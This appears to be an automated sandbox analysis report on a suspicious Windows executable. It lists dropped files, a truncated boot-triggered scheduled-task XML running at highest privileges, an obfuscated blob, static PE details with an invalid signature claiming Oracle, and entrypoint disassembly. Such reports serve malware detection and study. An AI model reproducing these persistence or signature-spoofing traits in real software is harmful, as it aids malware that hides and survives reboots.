                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o11vb4qo.5df.psm1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oa2auk3b.voa.psm1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oa5skexs.br5.ps1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rk51fzxw.ugx.psm1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rkl3ievb.l4w.ps1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t2rya5rs.sez.ps1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u5saczrk.ber.ps1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ucmwzuwc.mpc.ps1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v1wrh0p2.yeu.psm1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vim5hq3k.5ww.ps1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wlvwcwmo.hcb.psm1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wvi0qprp.npz.psm1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xie4hsrt.nyw.psm1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xkfbet1v.5bg.ps1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ycmekfon.d20.ps1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yctgeolf.h04.psm1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zafftng2.wuu.psm1

                                Download File
                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                File Type:ASCII text, with no line terminators
                                Category:dropped
                                Size (bytes):60
                                Entropy (8bit):4.038920595031593
                                Encrypted:false
                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                Malicious:false
                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                C:\Users\user\AppData\Local\Temp\mlothfmoemid.xml

                                Download File
                                Process:C:\Users\user\Desktop\sE5IdDeTp2.exe
                                File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                Category:dropped
                                Size (bytes):1512
                                Entropy (8bit):5.139302350214515
                                Encrypted:false
                                SSDEEP:24:2dk4+SkIMFWYL60YeGlMhEMjn5pwjpILUYODOLqx49RJh7h8gJ15E15LNEBwcLYt:cC3IQDL60uydbQ9IIYODOLqOdq2sbEW7
                                MD5:D99791DECBB48A340B6C63C225B3EFDC
                                SHA1:0C2D9A362D0C6A33C2CCA6684366A8BB1158DCC0
                                SHA-256:16037148C9AF0EFFA3F91960EB4F60F9E09F14585ACB6089FDCCDF64E68BD804
                                SHA-512:B7B165C352B42354F35C449B4EF9A4C215914FD5023216549204F16FF3281FB3FD0077E3B9585FFFDF25F2FA5CD78910E6298D3F1E9944C835F7CCBC9893EFB9
                                Malicious:false
                                Preview:<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <Triggers>.. <BootTrigger>.. . <Enabled>true</Enabled>.. </BootTrigger>.. </Triggers>.. <Principals>.. <Principal id="Author">... <RunLevel>HighestAvailable</RunLevel>.. </Principal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>.. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>.. <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>.. <AllowHardTerminate>false</AllowHardTerminate>.. <StartWhenAvailable>false</StartWhenAvailable>.. <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>.. <IdleSettings>.. <Duration>PT10M</Duration>.. <WaitTimeout>PT1H</WaitTimeout>.. <StopOnIdleEnd>false</StopOnIdleEnd>.. <RestartOnIdle>false</RestartOnIdle>.. </IdleSettings>.. <AllowStartOnDemand>true</AllowStartOnDemand>.. <Enabled>true</Enabl

                                C:\Users\user\AppData\Local\Temp\uteugvdfldgq.xml

                                Download File
                                Process:C:\Windows\System32\conhost.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):1512
                                Entropy (8bit):6.147836345315121
                                Encrypted:false
                                SSDEEP:24:Rk7mUqmzyRhRYPs2wvDndrjqQ6SZDulLAXpnSyBQhJR1PDRqC0I6NaKko5MheEgP:KrhzybOPs2wRqPSDpntWRNqCqtko5QuP
                                MD5:DD3F4970B2B5945ED3E4E85B5FEFCB9A
                                SHA1:6C313B3A004E55894C33A628D1FE1BA3F1B8DC76
                                SHA-256:BC7D16248A343B19516690B483CA909130D44CC3C72FE2E239C03E85664A7CC4
                                SHA-512:9E6C2655D7ADB81B92D5624833AECCA71B0CF17251F6E237034B7904BA4D50E65BCD471BECEF0C9324FDF276D90EE59C9D012CDE6E54D71663248265BE128380
                                Malicious:false
                                Preview:jce.vuyz.czy.brj.jgwhioxn.A.[hu{..ehu.ywb.zydbrirjgwhi..m..pkhu.jcehvv.wlcz.dbrf.i.w.ilxh.wpQhuv.=e.{uywl..yg..h.^gx.j.xmkwpkhv.{`.U..yt.czy]brirgg.hio(.kwpkhuvjcehvuyw.czykbriH.7@.iV{.kwpk.uvjce.vLz..cz9.be..]f.oilxmow.T.tf\cehvuywlc.ydbrirjgwhio(Wkwp..uvjcei.uyClg.y...f.jgw..l{.kwpS..Ojne.vu.w[bZy.brirjgwh..Gn.wpkhuv]ceh.u.wlczydbri..S.hi.xm.Wph..vjYehKuywll.yd]rk2jgwhilxmk.pkhuv.cehvuywlczy.f2irjgw.j.x.kw.khuy.ceV.uywb.zy].rR..g.hilxUh.p..uvjcei.uy@lnz.db.ixjgw...xh..pkhztjcek.u.t.czadbrirUgwTilxmewpkh.y.ck..uyt.czydc.\q>g.hilxmh:...uvo..e.uyw.l.yk.rf.i*...lxmkwpQk.vjne..uz.lcu..br.|8gwRilxn..pkhv.\cj.uDwlc..dbr].jg.hio'.kwpkhuu..ei.uzwo.z.db.i~.gBhd.{.kt.khzwjce.vuywWcu.f.irRgwhicxmfwpkhuvjck..uywlczy^brirjgw(i.w.kwph..vjYehKuywll.yk.riNjgw.ilxmkwq+.x@jce.vuy.l.ZNg.ri}.gwoiax.owpkfuu.ehvuywlc.yd.p.rjgw(i.xmkwu..u.n.ehKuywlcEydbq9rjf7..lxmkwpk.uv.l.xAz'lczLdbrirS.wh.b.mow..hv.j.k....wlczydbrUrjp.hio([kw..huvjcehvuywlcz.dbrirjgwhl.{.kt..huNi3e.{uyy.czL.be..]f.hilxmkw..hux.buh.{..

                                Static File Info

                                General

                                File type:PE32+ executable (GUI) x86-64, for MS Windows
                                Entropy (8bit):6.811982830856188
                                TrID:
                                • Win64 Executable GUI (202006/5) 92.65%
                                • Win64 Executable (generic) (12005/4) 5.51%
                                • Generic Win/DOS Executable (2004/3) 0.92%
                                • DOS Executable Generic (2002/1) 0.92%
                                • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                File name:sE5IdDeTp2.exe
                                File size:1'245'320 bytes
                                MD5:dd36f6f79e68d5e54c75527db2da97ad
                                SHA1:a373e613510ada66cea74ffc590c25edc59957ac
                                SHA256:3030ba393865e41fee490205bf5873b4041275a8830d5e764693771fec2bd35e
                                SHA512:e1f9e1c8d246fd381d5af12c87940df54df9f6877bff58abdea7a8d533a31a675b553d7e5bb134bb64576de53a3c72c4e8a3e624a639c13dfa918f2a4a638fd1
                                SSDEEP:12288:2iQnVXYD4TNwzBcgXn0dE/xmiNrP64F78O9PpctLMbl0UVh4OsYX0bLDHOM5p:KNw1iS/EiNb64F78yPd+WDsYX0bLzOCp
                                TLSH:2C45E093B06D20E9CC3BF03CA619A232E767B8A4175150CB59712A326B5BCD45FF893D
                                File Content Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...X..g.........."......~...V......@..........@.............................P............`........................................

                                File Icon

                                Icon Hash:90cececece8e8eb0

                                Static PE Info

                                General

                                Entrypoint:0x140001140
                                Entrypoint Section:.text
                                Digitally signed:true
                                Imagebase:0x140000000
                                Subsystem:windows gui
                                Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
                                DLL Characteristics:HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
                                Time Stamp:0x6782E258 [Sat Jan 11 21:27:52 2025 UTC]
                                TLS Callbacks:0x400022f0, 0x1, 0x40002370, 0x1
                                CLR (.Net) Version:
                                OS Version Major:6
                                OS Version Minor:0
                                File Version Major:6
                                File Version Minor:0
                                Subsystem Version Major:6
                                Subsystem Version Minor:0
                                Import Hash:25b2e2929328699a3b459a68f5fdc7fb

                                Authenticode Signature

                                Signature Valid:false
                                Signature Issuer:CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
                                Signature Validation Error:The digital signature of the object did not verify
                                Error Number:-2146869232
                                Not Before, Not After
                                • 19/08/2021 01:00:00 20/08/2023 00:59:59
                                Subject Chain
                                • CN="Oracle America, Inc.", OU=Software Engineering, O="Oracle America, Inc.", L=Redwood City, S=California, C=US
                                Version:3
                                Thumbprint MD5:2876C1BECB51837D0E3DE50903D025B6
                                Thumbprint SHA-1:940D69C0A34A1B4CFD8048488BA86F4CED60481A
                                Thumbprint SHA-256:EE46613A38B4F486164BCE7FB23178667715617F511B364594311A1548B08EB1
                                Serial:068BE2F53452C882F18ED41A5DD4E7A3

                                Entrypoint Preview

                                Instruction
                                dec eax
                                sub esp, 28h
                                dec eax
                                mov eax, dword ptr [00027ED5h]
                                mov dword ptr [eax], 00000001h
                                call 00007FDEB88F779Fh
                                nop
                                nop
                                nop
                                dec eax
                                add esp, 28h
                                ret
                                nop
                                inc ecx
                                push edi
                                inc ecx
                                push esi
                                push esi
                                push edi
                                push ebx
                                dec eax
                                sub esp, 20h
                                dec eax
                                mov eax, dword ptr [00000030h]
                                dec eax
                                mov edi, dword ptr [eax+08h]
                                dec eax
                                mov esi, dword ptr [00027EC9h]
                                xor eax, eax
                                dec eax
                                cmpxchg dword ptr [esi], edi
                                sete bl
                                je 00007FDEB88F77C0h
                                dec eax
                                cmp edi, eax
                                je 00007FDEB88F77BBh
                                dec esp
                                mov esi, dword ptr [0002F361h]
                                nop word ptr [eax+eax+00000000h]
                                mov ecx, 000003E8h
                                inc ecx
                                call esi
                                xor eax, eax
                                dec eax
                                cmpxchg dword ptr [esi], edi
                                sete bl
                                je 00007FDEB88F7797h
                                dec eax
                                cmp edi, eax
                                jne 00007FDEB88F7779h
                                dec eax
                                mov edi, dword ptr [00027E90h]
                                mov eax, dword ptr [edi]
                                cmp eax, 01h
                                jne 00007FDEB88F779Eh
                                mov ecx, 0000001Fh
                                call 00007FDEB891F0D4h
                                jmp 00007FDEB88F77B9h
                                cmp dword ptr [edi], 00000000h
                                je 00007FDEB88F779Bh
                                mov byte ptr [0012BA59h], 00000001h
                                jmp 00007FDEB88F77ABh
                                mov dword ptr [edi], 00000001h
                                dec eax
                                mov ecx, dword ptr [00027E7Ah]
                                dec eax
                                mov edx, dword ptr [00027E7Bh]
                                call 00007FDEB891F0CBh
                                mov eax, dword ptr [edi]
                                cmp eax, 01h
                                jne 00007FDEB88F77ABh
                                dec eax
                                mov ecx, dword ptr [00027E50h]

                                Data Directories

                                NameVirtual AddressVirtual Size Is in Section
                                IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                IMAGE_DIRECTORY_ENTRY_IMPORT0x2ff980x3c.rdata
                                IMAGE_DIRECTORY_ENTRY_RESOURCE0x1330000x340.rsrc
                                IMAGE_DIRECTORY_ENTRY_EXCEPTION0x12f0000x114c.pdata
                                IMAGE_DIRECTORY_ENTRY_SECURITY0x12d8000x2888
                                IMAGE_DIRECTORY_ENTRY_BASERELOC0x1340000x9b8.reloc
                                IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                IMAGE_DIRECTORY_ENTRY_TLS0x292f00x28.rdata
                                IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x2f1e80x138.rdata
                                IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                IMAGE_DIRECTORY_ENTRY_IAT0x302800x2a8.rdata
                                IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                Sections

                                NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                .text0x10000x27de60x27e00a99fe9d1965160ddc69106030cc4b61dFalse0.4477615595611285data6.386085069656227IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                .rdata0x290000x92300x9400ec8b47ba5791ba2867ca49c3a5de31e5False0.2924936655405405data5.430027447616626IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                .data0x330000xfb0e50xf9e0001fbf7309ccb3c49ca64f155cddd2cc8False0.6647239635442721data6.457361653180868IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                .pdata0x12f0000x114c0x1200370eced07dff8d002397577b7f3ea16aFalse0.5180121527777778data5.213112045030989IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                .00cfg0x1310000x100x200fc74edd4cfadbf37e115bea8cdba7fcbFalse0.041015625data0.13091701814887827IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                .tls0x1320000x100x200bf619eac0cdf3f68d496ea9344137e8bFalse0.02734375data0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                .rsrc0x1330000x3400x40001bd31ff039a2ba3032b09c68396f09aFalse0.37109375data2.789871934356042IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                .reloc0x1340000x9b80xa0074b3e8078809c63acec5e8ae3c7f631eFalse0.48203125data5.415805110669786IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                Resources

                                NameRVASizeTypeLanguageCountryZLIB Complexity
                                RT_VERSION0x1330600x2e0dataEnglishUnited States0.46875

                                Imports

                                DLLImport
                                msvcrt.dll__C_specific_handler, ___lc_codepage_func, ___mb_cur_max_func, __getmainargs, __initenv, __iob_func, __set_app_type, __setusermatherr, _aligned_free, _aligned_malloc, _amsg_exit, _assert, _cexit, _commode, _errno, _fmode, _initterm, _localtime64, _lock, _onexit, _time64, _unlock, _wcsicmp, _wcsnicmp, abort, calloc, exit, fflush, fprintf, fputc, fputwc, free, fwprintf, fwrite, getenv, isxdigit, localeconv, malloc, memchr, memcmp, memcpy, memmove, memset, realloc, signal, strcmp, strerror, strlen, strncmp, vfprintf, wcscat, wcscpy, wcsftime, wcslen, wcsncmp
                                KERNEL32.dllAcquireSRWLockExclusive, DeleteCriticalSection, EnterCriticalSection, FlsAlloc, FlsGetValue, FlsSetValue, GetLastError, GetModuleHandleW, GetProcAddress, GetSystemTimeAsFileTime, InitOnceExecuteOnce, InitializeCriticalSection, IsDBCSLeadByteEx, LeaveCriticalSection, MultiByteToWideChar, RaiseException, ReleaseSRWLockExclusive, RtlCaptureContext, RtlLookupFunctionEntry, RtlRestoreContext, RtlUnwindEx, RtlVirtualUnwind, SetUnhandledExceptionFilter, Sleep, TlsGetValue, VirtualProtect, VirtualQuery, WideCharToMultiByte

                                Possible Origin

